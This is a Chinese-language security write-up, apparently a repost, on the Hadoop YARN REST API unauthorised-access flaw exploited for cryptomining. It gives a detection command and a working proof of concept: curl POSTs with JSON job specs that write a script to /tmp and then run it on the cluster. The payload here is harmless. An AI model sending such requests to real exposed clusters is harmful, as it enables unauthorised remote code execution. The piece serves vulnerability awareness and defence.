1. 程式人生 > 其它 >Hadoop Yarn REST API未授權漏洞利用挖礦分析

Hadoop Yarn REST API未授權漏洞利用挖礦分析

一、背景

5月5日騰訊雲安全團隊曾針對“攻擊者利用Hadoop Yarn資源管理系統REST API未授權漏洞對伺服器進行攻擊,攻擊者可以在未授權的情況下遠端執行程式碼”的安全問題進行預警,在預警的前後我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析並提供響應的安全建議和解決方案。

二、漏洞說明

Hadoop是一個由Apache基金會所開發的分散式系統基礎架構,YARN是hadoop系統上的資源統一管理平臺,其主要作用是實現叢集資源的統一管理和排程,可以把MapReduce計算框架作為一個應用程式執行在YARN系統之上,通過YARN來管理資源。簡單的說,使用者可以向YARN提交特定應用程式進行執行,其中就允許執行相關包含系統命令。

YARN提供有預設開放在8088和8090的REST API(預設前者)允許使用者直接通過API進行相關的應用建立、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何黑客則就均可利用其進行遠端命令執行,從而進行挖礦等行為。

檢測方法

curl http://node01:8088/ws/v1/cluster

返回類似如下內容則有可能被攻擊

攻擊步驟

1、申請新的application

直接通過curl進行POST請求

通過REST API提交任務,向/tmp目錄輸出接下來要執行的指令碼內容

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json

setup.json

{
        "am-container-spec":{
          "commands":{
                "command":"echo 'echo 11 > /tmp/time_1.sh' > /tmp/setup.sh"
          }
        },
        "application-id":"application_1621418758341_0210",
        "application-name":"setup",
        "application-type":"YARN"
}

在伺服器的tmp目錄下檢視,已經生成該指令碼

再次提交任務,執行該指令碼

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json

exec.json

{
    "am-container-spec":{
      "commands":{
        "command":"sh /tmp/setup.sh"
      }
    },
    "application-id":"application_1621418758341_0211",
    "application-name":"exec",
    "application-type":"YARN"
}

在伺服器上的指令碼已經執行並輸出指定內容

說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔。